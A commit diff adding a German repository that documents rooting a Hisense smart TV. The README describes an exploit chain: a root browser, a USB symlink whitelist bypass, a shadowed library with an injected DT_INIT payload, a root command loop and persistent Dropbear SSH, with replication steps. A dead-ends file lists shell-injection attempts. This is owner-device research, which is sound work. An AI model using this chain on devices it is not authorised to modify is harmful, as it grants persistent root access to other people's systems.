add stuff
This commit is contained in:
commit
26cd15d899
65 files changed
+4820
No files matched your search
@@ -0,0 +1,194 @@
|
|||||||
|
# Hisense HE40E5600FFWTS — Root & Modding — Final Documentation
|
||||||
|
|
||||||
|
**Ein Ordner, zwei Abteilungen, kein Suchen mehr.**
|
||||||
|
**TV:** Hisense HE40E5600FFWTS, FW `V0100.01.00A.N0410`, LAN `192.168.188.94`
|
||||||
|
**Host:** Linux, Python 3, `arm-linux-gnueabihf-*`; Host-IP im Beispiel `192.168.188.150`
|
||||||
|
**Stand:** 2026-10-26 — Root + Dropbear-SSH (key-only) + PTY live bestätigt; Boot-Persistenz installiert (Reboot-Test offen). SFTP optional (statischer OpenSSH-sftp-server + gepatchter Dropbear).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Die drei Fragen in 30 Sekunden
|
||||||
|
|
||||||
|
### Welches Linux?
|
||||||
|
**Hisense/MediaTek Embedded Linux**, kein Standard-Distro:
|
||||||
|
- Linux **3.18.25**, ARMv7 (Cortex-A53, NEON/VFPv4), MediaTek **MT53xx/MT5863**-Klasse (`mt53xx-emmc`, `mt5863_sa_768_linux`)
|
||||||
|
- **glibc 2.18**, **BusyBox 1.18.5**, SysV-Init (`inittab`/`rcS`/`rc.local`), **kein systemd**
|
||||||
|
- Kein `/etc/os-release`; Firmware `V0100.01.00A.N0410`
|
||||||
|
- **squashfs-ro**: `/` (38.8 MB, 100 %), `/3rd` (141 MB, 100 %)
|
||||||
|
- **ext4-rw**: `/3rd_rw` (1.1 GB, 56 %), `/data` (1.9 GB), `/perm` (3.9 MB); `/spdata` ro
|
||||||
|
- **Kein overlayfs** → Modding über rw-Partitionen + `mount --bind`
|
||||||
|
|
||||||
|
### Gibt es einen Package Manager?
|
||||||
|
**Nein.** Kein `apt`, `dpkg`, `opkg`, `ipkg`, `rpm`, `apk`, `yum`, `pacman`; keine `/etc/opkg`/`/var/lib/dpkg`.
|
||||||
|
**Konsequenz:** statische ARM-Binaries/Shell-Skripte bauen, per `File.download`/SSH/`base64`/`tar` nach `/3rd_rw` bringen. Kein `opkg install`.
|
||||||
|
|
||||||
|
### Wo ist das UI und wie läuft es?
|
||||||
|
TV-UI = Web-UI im **`hisenseUI`-Browser** (root, GLES):
|
||||||
|
|
||||||
|
```
|
||||||
|
/basic/autorun.sh (Zeile 168)
|
||||||
|
→ /3rd/opera4x/hisenseUI/start-UI.sh
|
||||||
|
→ ./bin/hisenseUI --hw-gles --jsplugins-dir=/3rd/UI_jsplugins \
|
||||||
|
--disable-web-security ... -u /3rd_rw/UI/index.html
|
||||||
|
```
|
||||||
|
|
||||||
|
- **UI:** `/3rd_rw/UI/index.html` (PIXI), UI-Prozess `hisenseUI` (z. B. PID 589), DevTools **9223**
|
||||||
|
- **Launcher/Apps:** `/3rd_rw/appdata/launcher/` mit `preset.txt` (26 vorinstallierte Tiles), `Appinfo.json` (User-Apps), `deletedPresetApp.txt` (ausgeblendet), `data/Category*.xml`, `PicInfo.xml`, `res/`
|
||||||
|
- **LauncherService:** `/3rd/launcherservice/bin/LauncherService` (via `startLS.sh` aus `delayrun.sh`)
|
||||||
|
- **Native Apps / AM:** `/basic/app_man -c /basic/am_config -s /basic/am_start.ini`; `dtv_svc`, `netflix`, `dialserver`, `samba`, `browser_base`, `securetime`, …; Steuerung `:am,<app>,:<verb>=<val>`
|
||||||
|
- **Web-Browser (nicht das TV-UI):** `hisense_browser` (z. B. PID 1320), `run-Browser.sh`, `--hw-dfb`, `--allow-file-access-from-files`, DevTools **9224**; hier läuft die Recon-Seite.
|
||||||
|
|
||||||
|
**UI ≠ Browser:** `hisenseUI` (TV-UI) und `hisense_browser` (Web-Browser) sind getrennte Prozesse mit eigenen Startskripten, Renderern, JS-Plugins und Debug-Ports.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Ordnerstruktur
|
||||||
|
|
||||||
|
```
|
||||||
|
hisense-he40e5600-root-modding/
|
||||||
|
├── README.md # diese Datei
|
||||||
|
├── dead-ends.md # kurze Liste der Sackgassen
|
||||||
|
├── SHA256SUMS
|
||||||
|
├── root/ # ABTEILUNG 1: Root
|
||||||
|
│ ├── ROOT-GUIDE.md # kompletter Weg (manuell + Skripte)
|
||||||
|
│ ├── README.md # kurzer Index
|
||||||
|
│ ├── tools/
|
||||||
|
│ │ ├── server.py # Host: Recon + /pub + /cmd + /recon + /dump
|
||||||
|
│ │ ├── recon.html # TV-Seite (fileXHR/listDir/HiBrowser-Hook)
|
||||||
|
│ │ ├── live_cmd.txt # optionaler Live-Kanal (leer)
|
||||||
|
│ │ └── pub/ # ausgelieferte Dateien
|
||||||
|
│ │ ├── libtvsysinfo.so # finaler Root-Payload
|
||||||
|
│ │ ├── dropbear/dropbearkey # statischer ARM-Dropbear 2022.83
|
||||||
|
│ │ ├── dropbear-sftp # Dropbear mit SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server
|
||||||
|
│ │ ├── sftp-server # statischer OpenSSH-9.9p1-sftp-server
|
||||||
|
│ │ ├── authorized_keys # dein Public Key
|
||||||
|
│ │ ├── start_sshd.sh # Dropbear + passwd/PTY-Bindmounts
|
||||||
|
│ │ ├── root_loop.sh # Root-Kommandokanal
|
||||||
|
│ │ ├── hamservice-wrapper.sh # Boot-Hook
|
||||||
|
│ │ ├── deploy_sshd.sh # Installation als root
|
||||||
|
│ │ ├── verify.sh / rollback.sh
|
||||||
|
│ ├── scripts/
|
||||||
|
│ │ ├── host/
|
||||||
|
│ │ │ ├── prepare_usb.sh # ext4/MBR-Stick + tvi-Symlink
|
||||||
|
│ │ │ ├── start_http.sh # Server auf :9000
|
||||||
|
│ │ │ ├── plant_payload.js # Payload durch tvi schreiben
|
||||||
|
│ │ │ ├── upload_to_appdata.js # Dropbear/Deploy nach appdata
|
||||||
|
│ │ │ ├── run_root_cmd.js # root_cmd/root_out
|
||||||
|
│ │ │ ├── build_payload.sh # Payload reproduzieren
|
||||||
|
│ │ │ ├── build_tvi_payload.py # Builder (deterministisch)
|
||||||
|
│ │ │ ├── build_dropbear.sh # Dropbear aus sources/ bauen
|
||||||
|
│ │ │ ├── build_sftp_server.sh # statischen sftp-server bauen
|
||||||
|
│ │ │ ├── patch_dropbear_sftp.py # Dropbear-SFTP-Pfad patchen
|
||||||
|
│ │ │ └── install_sftp.sh # SFTP installieren/testen/auf 22 tauschen
|
||||||
|
│ │ └── tv/
|
||||||
|
│ │ ├── start_sshd.sh
|
||||||
|
│ │ ├── root_loop.sh
|
||||||
|
│ │ ├── hamservice-wrapper.sh
|
||||||
|
│ │ ├── deploy_sshd.sh
|
||||||
|
│ │ ├── verify.sh
|
||||||
|
│ │ ├── rollback.sh
|
||||||
|
│ │ ├── install_sftp_stage.sh # sftp-server + Test-Dropbear auf 2222
|
||||||
|
│ │ ├── enable_sftp.sh # Tausch auf 22 planen
|
||||||
|
│ │ └── swap_sftp.sh # Tausch detached ausführen
|
||||||
|
│ └── artifacts/
|
||||||
|
│ ├── tvi_original.so # Original-Lib (33.220 B)
|
||||||
|
│ └── keys/{authorized_keys,host-key-fingerprint.txt}
|
||||||
|
├── modding/ # ABTEILUNG 2: Modding
|
||||||
|
│ ├── README.md # Modding-Index/TL;DR
|
||||||
|
│ ├── 01-system-linux.md # Linux/SoC/Userland/PackageManager/Storage
|
||||||
|
│ ├── 02-boot.md # Boot, autorun, developer.sh, Services
|
||||||
|
│ ├── 03-ui.md # hisenseUI vs hisense_browser, UI-Daten, AM
|
||||||
|
│ ├── 04-modding.md # Rezepte: eigene App/UI/Services/Bloat
|
||||||
|
│ ├── 05-bloat.md # 26 Preset-Apps, Service-Matrix, Deaktivieren
|
||||||
|
│ ├── 06-toolchain-deploy.md # statisch ARM bauen/deployen, SSH/PTY
|
||||||
|
│ ├── 07-evidence-unknowns.md # Belege, Status, bekannte Unknowns
|
||||||
|
│ └── templates/
|
||||||
|
│ ├── developer.sh # früher Root-Boot-Hook
|
||||||
|
│ ├── custom-app.json # Appinfo-Tile
|
||||||
|
│ ├── hide-preset.json # deletedPresetApp.txt
|
||||||
|
│ ├── custom-ui.html # minimale Custom-UI
|
||||||
|
│ ├── start-UI-custom.sh # start-UI.sh mit custom.html
|
||||||
|
│ └── README.md
|
||||||
|
└── sources/
|
||||||
|
├── dropbear-2022.83.tar.bz2 # Offline-Buildquelle
|
||||||
|
└── openssh-9.9p1.tar.gz # Offline-Buildquelle für sftp-server
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## In 11 Schritten replizieren
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1) Host: Stick (DESTRUKTIV)
|
||||||
|
sudo root/scripts/host/prepare_usb.sh /dev/sdX
|
||||||
|
# 2) Host: Server
|
||||||
|
root/scripts/host/start_http.sh
|
||||||
|
# 3) TV: http://<host-ip>:9000/recon.html öffnen
|
||||||
|
# 4) TV-Konsole: USB-Dev anpassen, plant_payload.js ausführen
|
||||||
|
# -> /3rd_rw/loglevel/lib/libtvsysinfo.so (33500 B, SHA 37b13f…)
|
||||||
|
# 5) TV rebooten
|
||||||
|
# 6) Root prüfen: /3rd_rw/root_proof.txt = ROOT_EXEC_TVI
|
||||||
|
# 7) TV-Konsole: upload_to_appdata.js
|
||||||
|
# 8) TV-Konsole: run_root_cmd.js (deploy_sshd.sh)
|
||||||
|
# 9) ssh root@192.168.188.94
|
||||||
|
#10) Rollback: /bin/sh /3rd_rw/appdata/rollback.sh
|
||||||
|
#11) SFTP optional: root/scripts/host/install_sftp.sh
|
||||||
|
# danach: sftp root@192.168.188.94
|
||||||
|
```
|
||||||
|
|
||||||
|
**Vollständig:** [`root/ROOT-GUIDE.md`](root/ROOT-GUIDE.md)
|
||||||
|
**Modding:** [`modding/README.md`](modding/README.md)
|
||||||
|
**Sackgassen:** [`dead-ends.md`](dead-ends.md)
|
||||||
|
**Integrität:** `sha256sum -c SHA256SUMS`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Was der Root-Weg macht (Kurz)
|
||||||
|
|
||||||
|
1. **Browser ist root:** `hisense_browser` UID/GID 0, `CapEff` voll, Single-Process, kein Seccomp.
|
||||||
|
2. **USB-Schreibprimitive:** dangling Symlink `tvi` auf ext4 → `IsSubDentry`-Bypass → neue Root-Datei.
|
||||||
|
3. **Loader-Shadow:** `libtvsysinfo.so` ist direktes `NEEDED`; `LD_LIBRARY_PATH`-Index 17 ist `/3rd_rw/loglevel/lib`; dort liegt die Shadow-Lib.
|
||||||
|
4. **DT_INIT-Payload:** appended Code am Dateiende, RX `p_filesz/memsz` erweitert, `DT_INIT=0x81c4`; unlink self, Proof, fork/exec `root_loop.sh`, Original-Init.
|
||||||
|
5. **Root-Loop:** `root_cmd.sh` → `root_out.txt`.
|
||||||
|
6. **SSH:** Dropbear 2022.83 statisch, key-only, `/etc/passwd`-Bind (Root-Home `/3rd_rw/sshd/home`), devpts auf `/dev/shm/pts` → bind `/dev/pts` (PTY), `HamService`-Wrapper für Boot-Persistenz.
|
||||||
|
7. **SFTP (optional):** Dropbear hat keinen eigenen sftp-server; statischer OpenSSH-9.9p1-sftp-server + Dropbear mit `SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server`. Installation testet Port 2222, dann Tausch auf 22; danach `sftp root@…`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sicherheit / Spielregeln
|
||||||
|
|
||||||
|
- **Kein Flash, kein `.pkg`, kein Bootloader.** Rootfs/`/3rd` sind squashfs-ro; Änderungen nur in `/3rd_rw`, `/data`, `/perm`, Bind-Mounts.
|
||||||
|
- **SSH ist key-only root im LAN.** Kein Passwort; privaten Key schützen; nicht ins Internet exponieren.
|
||||||
|
- **SFTP ist optional und root-equivalent.** Key-only wie SSH; Installation testet zuerst 2222, Backup `/3rd_rw/sshd/dropbear.nosftp`, Rollback im Root-Guide.
|
||||||
|
- **Der Root-Loop ist root-equivalent.** Wer `root_cmd.sh` schreiben kann (Browser root), kann Root-Befehle ausführen.
|
||||||
|
- **Backup vor UI-/AM-/Launcher-Eingriffen.** Besonders `/3rd_rw/UI/index.html`, `/3rd_rw/appdata/launcher/*`, `/basic/am_config`/`am_start.ini`.
|
||||||
|
- **SSH/Root als Rettungsweg behalten.** Kaputte UI = schwarzer Bildschirm; `hisenseUI` per SSH/root-Loop killen/neu starten, Seite aus Backup zurückholen.
|
||||||
|
- **`developer.sh` ist ein früher Root-Hook** (vor `ms_service`/UI/`app_man`/`delayrun`); Fehler dort können den Boot/UI beeinflussen.
|
||||||
|
- **`/3rd_rw/patch/opera4x` ist ein full bind mount** über `/3rd/opera4x`; nur mit vollständiger Kopie/Symlink-Baum; für einzelne Dateien lieber Datei-Bind-Mount via `developer.sh`.
|
||||||
|
- **Keine Secrets im Ordner:** kein Root-Hash, kein privater SSH-Key; nur Public Key + Host-Fingerprint.
|
||||||
|
- **Nicht alles ist getestet:** Root/SSH/PTY live; die Modding-Rezepte sind aus statischen/live Daten abgeleitet; Status in `modding/07-evidence-unknowns.md`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Verifikationsstatus (Auszug)
|
||||||
|
|
||||||
|
| Punkt | Status |
|
||||||
|
|---|---|
|
||||||
|
| Browser root / CapEff voll | **CONFIRMED live** |
|
||||||
|
| USB-ext4-Symlink-Bypass | **CONFIRMED live** |
|
||||||
|
| `libtvsysinfo`-Shadow / DT_INIT | **CONFIRMED live** (`ROOT_EXEC_TVI`, Self-Unlink) |
|
||||||
|
| Root-Loop / Kommandokanal | **CONFIRMED live** (`uid=0`, `root_out.txt`) |
|
||||||
|
| Dropbear-SSH / Port 22 / Pubkey root | **CONFIRMED live** |
|
||||||
|
| PTY / interaktive Shell | **CONFIRMED live** (pts/0) |
|
||||||
|
| SFTP (optional) | statischer sftp-server + gepatchter Dropbear; Installer testet 2222 vor 22; **TV-Test nach Install** |
|
||||||
|
| HamService-Boot-Persistenz | eingerichtet; Reboot-Test im Root-Guide |
|
||||||
|
| Modding-Rezepte / Custom UI / Bloat | **UNVERIFIED** (static/live abgeleitet, noch nicht alle ausgeführt) |
|
||||||
|
|
||||||
|
**Host-Key (SSH):** `SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts`
|
||||||
|
**Dein Key:** `ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLzgdRrwTGWMSHIurddPrQBY/2zOk+BlsU4jJWtPh/B` (Fingerprint `SHA256:RzgGjRHkR756azwKjS6mTClWOZFa/nyLMdi7TqgrHoY`)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Provenienz
|
||||||
|
|
||||||
|
Der frühere Run-Ordner `docs/re/20261025-vidaa-takeover/` (im alten Projekt) bleibt als **Evidence/History** erhalten. Für die Replikation und das Modding brauchst du ihn nicht: dieser Ordner enthält den finalen Stand, die Binaries, die Skripte und die Doku. Die alten Experimente/Dead Ends sind in `dead-ends.md` kurz zusammengefasst.
|
||||||
+59
@@ -0,0 +1,59 @@
|
|||||||
|
90c5f144744397470dfb6d86b7c155b26bb9cde392d6c27deea16744aa66c753 README.md
|
||||||
|
2b15e76d5995cded2b1d5af6c4ff0472aad9609f13aee27f7ffaf99d12fcae0a dead-ends.md
|
||||||
|
0b0332fe7d2972a788ca463636a670ec55de5cafbffd97ddbea59edb336c6455 modding/01-system-linux.md
|
||||||
|
b70b98634f0d9778bbe2348d545a7c49ab1b991803b260b0e3da58cbfe3690bb modding/02-boot.md
|
||||||
|
5b213bf5c880cd3d9960518e1e9b4fe4ae4753de720f2baf66da27fa9ecad257 modding/03-ui.md
|
||||||
|
6abefb924483dd01d34be2d4a113ce2d8155d01dce46b5c04fffb1ef3b825864 modding/04-modding.md
|
||||||
|
ee9ee9d0b4de8c6b1e4d286ea5fb472fd1c89e5163c3db49a1750967350a3e77 modding/05-bloat.md
|
||||||
|
9553dd4b6e9106fd44cd7cdad15395c94bb0609f4e43d01dc45fbd6531f8e89a modding/06-toolchain-deploy.md
|
||||||
|
6b7ed0400f8607037ae1f21abed02bd7581e8ce423fe2c28663de2e7f9cf3664 modding/07-evidence-unknowns.md
|
||||||
|
334b2d3798b232ecdb1fd1f053b6ed22973ee0f478d011ac82352ef69c2ae48d modding/README.md
|
||||||
|
5657331421529d0673a135234e47fb5c570ee353745c4f8a1c79b655ba55079c modding/templates/README.md
|
||||||
|
b98192e0ba231406905784661ca2cfe3a135b82522a13a67c7de405e8abe6561 modding/templates/custom-app.json
|
||||||
|
635939b220c182e9b23e689349cc151ce46ec7615f25c0dea1a6db744e271cc2 modding/templates/custom-ui.html
|
||||||
|
fa702068c60bf5877291f296241c12871997ba339b877d9cae5ddf8466512f52 modding/templates/developer.sh
|
||||||
|
89bcda4d6f0bc9a1cf28e5683c35f00a951afd6ceaae19ed856e7722a6e03469 modding/templates/hide-preset.json
|
||||||
|
160148a3098f24b3883d10d24622e395b6e0356499a205b3c33ca1cff6487618 modding/templates/start-UI-custom.sh
|
||||||
|
0aac0e9baab07548e20c1baefbd3d84f8bc60a5c0cb0945f4dbb9e7be16f18d2 root/README.md
|
||||||
|
f2183dba5fc0250b39ce9df043a6d9becab7cc9c88c1c6ac585e1b1118cf451b root/ROOT-GUIDE.md
|
||||||
|
b834af947b00f091d11d7e94212feeb791527aff9435f98bf4717024e0b2a92d root/artifacts/keys/authorized_keys
|
||||||
|
4bd0b539ee6dbaf3a4f702af45e455e7defab2aa881f01b034e6cb231646d3fa root/artifacts/keys/host-key-fingerprint.txt
|
||||||
|
36ddee4782cdcff7a0f1d94e8b3491ea6fe228d13bfef3ea137a98f142ff3b7c root/artifacts/tvi_original.so
|
||||||
|
39a51f98f020b998e1c346a033a8d9caa0affedeff3257febe2eae2c5700807c root/scripts/host/build_dropbear.sh
|
||||||
|
171704c0be1ebe7e99b1fb3ac864cb7a1dc30956b75f825f28c67b931f9771d8 root/scripts/host/build_payload.sh
|
||||||
|
3af50933596ea449c2e37730dadc1b05bd4ee8e339f095050ac87d299a51b1d5 root/scripts/host/build_sftp_server.sh
|
||||||
|
2602080b3df939d82562dd51d3cec431483f7ffb8676aff132cda700e14b0858 root/scripts/host/build_tvi_payload.py
|
||||||
|
76fc29e55e8af18177ba9ca6c51cc690507ef9d03e3cd52c34d453fc03c8f5c3 root/scripts/host/install_sftp.sh
|
||||||
|
9385c6cc839d62466668563aa3f7294679d6d23b2fad831668fd052bbc9ce994 root/scripts/host/patch_dropbear_sftp.py
|
||||||
|
30c28c6a93b05c73d64af48a8d81f20ef54cb4dbfb30ad761cefc867fcf9247a root/scripts/host/plant_payload.js
|
||||||
|
4305804dd57995e348798a5eda0ddf6d9b5f7d8c53ea90375e63577138e16be9 root/scripts/host/prepare_usb.sh
|
||||||
|
dde6d5706be0fbae1d9e0c7c0f5668319b4ecb2571a3b993510590815a93b058 root/scripts/host/run_root_cmd.js
|
||||||
|
d6709c26cee1b8ce6e0d95d68dab9f4177ecaddcedb892071c6a91390dd1fae2 root/scripts/host/start_http.sh
|
||||||
|
71c179f60e6db943f97f5ed869123c10e0e254d85fedc43f857ead620f15d79b root/scripts/host/upload_to_appdata.js
|
||||||
|
560c3a619eabe3149eca49912650f548800db209b3dba78b0ad1e772aab0e690 root/scripts/tv/deploy_sshd.sh
|
||||||
|
5d496c1e7232666ee670a0cecb5ff03473e863c42bf74bb61b9f1b898784b512 root/scripts/tv/enable_sftp.sh
|
||||||
|
e24e0b63d2073feba3479037945ff78654d10ec6af5a6e7a7019c02b8a9994da root/scripts/tv/hamservice-wrapper.sh
|
||||||
|
77b978d51a4751162fcb2ec342ec1d3e2362abdab9370c7f92e034670e73de8e root/scripts/tv/install_sftp_stage.sh
|
||||||
|
65744958837bdc4e7f4b2cf2a1ad68676bc88291689baf510b9b381f14512a45 root/scripts/tv/rollback.sh
|
||||||
|
4c93ff2c6a0a18b7760c8658ec52cd2fb2547760766f7ba7cecda598f5c0ad12 root/scripts/tv/root_loop.sh
|
||||||
|
8bc3c9e4dab2d813ef68715f7507dcba05d50c01dd5512379f5db1a8661b085e root/scripts/tv/start_sshd.sh
|
||||||
|
9b2b292c5bcb50c561b8640ddccd3c4aa5de4cca7b6449d31b1de91e1f73d193 root/scripts/tv/swap_sftp.sh
|
||||||
|
8610d7b571e2bc9420ca3f65c3cbcb0b67c3398c5857891f77099bf716b70625 root/scripts/tv/verify.sh
|
||||||
|
db19d6602fa3e08d7d7b8e08cdbfcd418c780ae39fbdd8b2d757a0ef0607ac7e root/tools/icon.png
|
||||||
|
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 root/tools/live_cmd.txt
|
||||||
|
b834af947b00f091d11d7e94212feeb791527aff9435f98bf4717024e0b2a92d root/tools/pub/authorized_keys
|
||||||
|
560c3a619eabe3149eca49912650f548800db209b3dba78b0ad1e772aab0e690 root/tools/pub/deploy_sshd.sh
|
||||||
|
976ec57e401765d5fc9c0a201d19c997c004dcf91a8d4bdb039bbb8419071eae root/tools/pub/dropbear
|
||||||
|
a21b0d3e53dd1d124105350319df45a2b44e7cef70dd29b418644b11fdcfed57 root/tools/pub/dropbear-sftp
|
||||||
|
3fbfa60891b3a9f3e971a24071ed4d14c93ee3e773dd6f4969646cc811b0dbbf root/tools/pub/dropbearkey
|
||||||
|
e24e0b63d2073feba3479037945ff78654d10ec6af5a6e7a7019c02b8a9994da root/tools/pub/hamservice-wrapper.sh
|
||||||
|
37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a root/tools/pub/libtvsysinfo.so
|
||||||
|
65744958837bdc4e7f4b2cf2a1ad68676bc88291689baf510b9b381f14512a45 root/tools/pub/rollback.sh
|
||||||
|
4c93ff2c6a0a18b7760c8658ec52cd2fb2547760766f7ba7cecda598f5c0ad12 root/tools/pub/root_loop.sh
|
||||||
|
d0f7700e84e582aef3948c29e4317fb0119e13393374a7455922ffa8d01202f3 root/tools/pub/sftp-server
|
||||||
|
8bc3c9e4dab2d813ef68715f7507dcba05d50c01dd5512379f5db1a8661b085e root/tools/pub/start_sshd.sh
|
||||||
|
8610d7b571e2bc9420ca3f65c3cbcb0b67c3398c5857891f77099bf716b70625 root/tools/pub/verify.sh
|
||||||
|
094f2f292f71e4f994db74fe7f6715f69f9751caadb56d4b3381a5c1b639b15e root/tools/recon.html
|
||||||
|
06940cda837f9f3691f88abff07a43ee45cabe1da5e09730de90545d00c17248 root/tools/server.py
|
||||||
|
bc5a121ffbc94b5171ad5ebe01be42746d50aa797c9549a4639894a16749443b sources/dropbear-2022.83.tar.bz2
|
||||||
|
b343fbcdbff87f15b1986e6e15d6d4fc9a7d36066be6b7fb507087ba8f966c02 sources/openssh-9.9p1.tar.gz
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
# Dead Ends — kurz, damit sie niemand wiederholt
|
||||||
|
|
||||||
|
Diese Wege wurden untersucht und **verworfen**. Sie sind **nicht** nötig für den finalen Root-/SSH-/Modding-Weg. Details/History: alter Run-Ordner `docs/re/20261025-vidaa-takeover/` (Evidence).
|
||||||
|
|
||||||
|
## Factory / AM / Keys
|
||||||
|
- **`Builtin Video` (Factory):** baut den Pfad aus dem `StoreModeDemo[Backup]`-Präfix neu; Suffix-Injection wird ignoriert → „can not find built-in video“.
|
||||||
|
- **`Write Keys` (Factory):** feste Dateinamen + File-API, kein `system()`/`popen()` mit Angreifer-Input.
|
||||||
|
- **AM `startApp`:** `:am,<app>,:<verb>=<val>` für start/stop/pause/resume/URL/backgm/foregm/shutdown/suspend/wakeup; **kein** `args`/`exec`/`run`. Shell-Injection-Versuche (`startApp("id>…")`, `sh -c`) negativ.
|
||||||
|
- **FAT32-USB-/Factory-Injection:** `factory_lite`-USB-Callback/Copy-Pfad nicht auslösbar; kein Root-Exec.
|
||||||
|
- **`checker.sh` / `file_upgrading` / `.pkg` / `bspatch`:** nicht als Root-Trigger genutzt; kein Flash/OTA-Weg.
|
||||||
|
|
||||||
|
## V8 / FileReader
|
||||||
|
- Engine ist **Chromium 59.0.3071.115 / V8 5.9.211.38** (nicht 63/6.3, nicht 43/4.3 — das sind UA-Presets).
|
||||||
|
- Kein öffentlicher ARM32-Exploit für diese Kombination; Eigenbau wäre nötig. **Nicht benötigt**, weil der Loader-Shadow-Weg sauber root liefert.
|
||||||
|
- `navigator.requestMediaKeySystemAccess` ist in diesem Build **nicht verfügbar** → Widevine-/EME-CDM-Trigger als Root-Pfad tot.
|
||||||
|
|
||||||
|
## `liblogLevel`-Shadow
|
||||||
|
- `/3rd_rw/loglevel/lib` ist Index 17 (erste schreibbare LD-Position), aber **`liblogLevel.so` existiert dort** → kann per Symlink-Trick nicht überschrieben werden (Ziel existiert → `realpath`-Prüfung schlägt zu).
|
||||||
|
- `libIQQILib` (RPATH `/3rd/iqqi/lib`), `libota`/`libhisensefileutils` (spätere LD-Positionen) als Shadow-Ziele verworfen; nur **`libtvsysinfo.so`** ist ein direktes `NEEDED` und an Index 17 frei.
|
||||||
|
- `liblogLevel`-/`ota`-/`hisensefileutils`-Payload-Varianten und die `/3rd_rw/ms-screen/lib`-Variante (`lib`-Symlink) sind **nicht** im aktiven Loader-Pfad; nicht nötig.
|
||||||
|
|
||||||
|
## Schreib-/JS-API
|
||||||
|
- `File.write` mit Binärdaten → `EINVAL` (22); Text geht, Binary nicht. Binary-Write über **`File.download`** (curl) durch den Symlink funktioniert.
|
||||||
|
- `HiBrowser.loadLibrary`/`jsplugins`-Tricks: Lib wird aus `${OPERA_DIR}/jsplugins/<name>` gebaut, aber nicht in den Prozess geladen; tot.
|
||||||
|
- Whitelist `IsSubDentry`: kein Trailing-Slash, `realpath` + Präfix; nur der **dangling Symlink** auf ext4-USB ist der Bypass.
|
||||||
|
|
||||||
|
## USB
|
||||||
|
- **Whole-Disk-ext4 (Superfloppy, kein `sdX1`)** wird vom TV nicht gemountet; MBR + Partition nötig.
|
||||||
|
- **FAT32** kann keine Symlinks → kein Symlink-Bypass; ext4 nötig.
|
||||||
|
- Der `pwn`-Symlink war nur der Proof des Bypasses; der finale Weg nutzt **`tvi`**.
|
||||||
|
|
||||||
|
## SSH
|
||||||
|
- Dropbear-Option **`-s`** existiert in diesem Build nicht („Invalid option -s“); Passwort-Auth ist **compile-time** aus (`DROPBEAR_SVR_PASSWORD_AUTH=0`). Startskript ohne `-s`.
|
||||||
|
- **PTY:** `/dev` ist statisches ro squashfs (kein devtmpfs); `mount -t devpts` direkt auf `/dev/pts` scheitert. Nur der Umweg **devpts auf `/dev/shm/pts` + bind `/dev/pts`** funktioniert; `/dev/ptmx` (5,2) bleibt statisch.
|
||||||
|
- `/etc/passwd`-Bindmount ist nötig, weil Root-Home `/basic` ro ist; `/etc/shadow` wird nicht angefasst (key-only).
|
||||||
|
- **SFTP/SCP:** Dropbear allein hat keinen sftp-server — das war der Grund für `sh: /usr/libexec/sftp-server: No such file`. **Kein Dead End mehr:** der finale Ordner liefert einen statischen OpenSSH-9.9p1-sftp-server + Dropbear mit `SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server`; Installation `root/scripts/host/install_sftp.sh` (Test auf 2222, dann 22). Danach funktionieren `sftp` und modernes `scp`.
|
||||||
|
|
||||||
|
## UI-Experimente
|
||||||
|
- `/3rd_rw/launcher` und `/3rd_rw/VIDAAU2Launcher` sind **Alt-/Alternativ-Skins**; die aktive UI ist `/3rd_rw/UI/index.html` (`hisenseUI`). Die alten Launcher-HTML/JS sind nicht der aktive Einstieg.
|
||||||
|
- Die `preset`-/`deleted`-Probe-URLs (data:, javascript:, 127.0.0.1;cd…) sind unsere alten Experimente; im finalen Ordner nicht enthalten. Der TV-`deletedPresetApp.txt` wurde beim Cleanup geleert (`[]`, Stand 2026-10-26).
|
||||||
|
- `ms_service`/`swrc`/`runlog`/`Seriallog`/`HamService` sind für den Root-Weg nicht nötig; nur der `HamService`-Wrapper wird als Boot-Hook für SSH/Root-Loop genutzt.
|
||||||
|
|
||||||
|
## Was stattdessen gilt
|
||||||
|
**USB-ext4 + `tvi` → `libtvsysinfo`-Shadow → DT_INIT-Root → Root-Loop → Dropbear/PTY → HamService-Wrapper.**
|
||||||
|
Das ist der finale, live bestätigte Weg. Alles andere ist optionales Modding (siehe `modding/`).
|
||||||
@@ -0,0 +1,209 @@
|
|||||||
|
# 01 — System: Linux, SoC, Userland, Package Manager, Storage
|
||||||
|
|
||||||
|
**Ziel:** Hisense HE40E5600FFWTS, FW `V0100.01.00A.N0410`, LAN `192.168.188.94`.
|
||||||
|
**Quelle:** Live-Root-Reads am TV (`/proc`, `/lib`, `/bin`, `/etc`, Mounts) + statische Dumps.
|
||||||
|
**Status:** Systemfakten **CONFIRMED** (live/static); einzelne Hardware-/Bootloader-Details `UNVERIFIED`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Linux / Kernel
|
||||||
|
|
||||||
|
```text
|
||||||
|
Linux version 3.18.25 (gfkfcmo@docker01.89.12045.pzgl.com)
|
||||||
|
(gcc version 4.8.2 20131014 (prerelease) (Linaro GCC 4.8-2013.10) )
|
||||||
|
#1 SMP PREEMPT Mon Apr 10 17:40:02 CST 2023
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Kernel 3.18.25**, ARM (32-bit), SMP, PREEMPT.
|
||||||
|
- Gebaut mit **Linaro GCC 4.8.2** (2013.10), Build 2023-04-10.
|
||||||
|
- **Kein** Standard-Distro-Userland, **kein** `/etc/os-release`, **kein** `/etc/issue`, **kein** `/etc/version`.
|
||||||
|
- Firmware-Kennung: `V0100.01.00A.N0410`.
|
||||||
|
|
||||||
|
### Kernel-Cmdline (Auszug, `/proc/cmdline`)
|
||||||
|
|
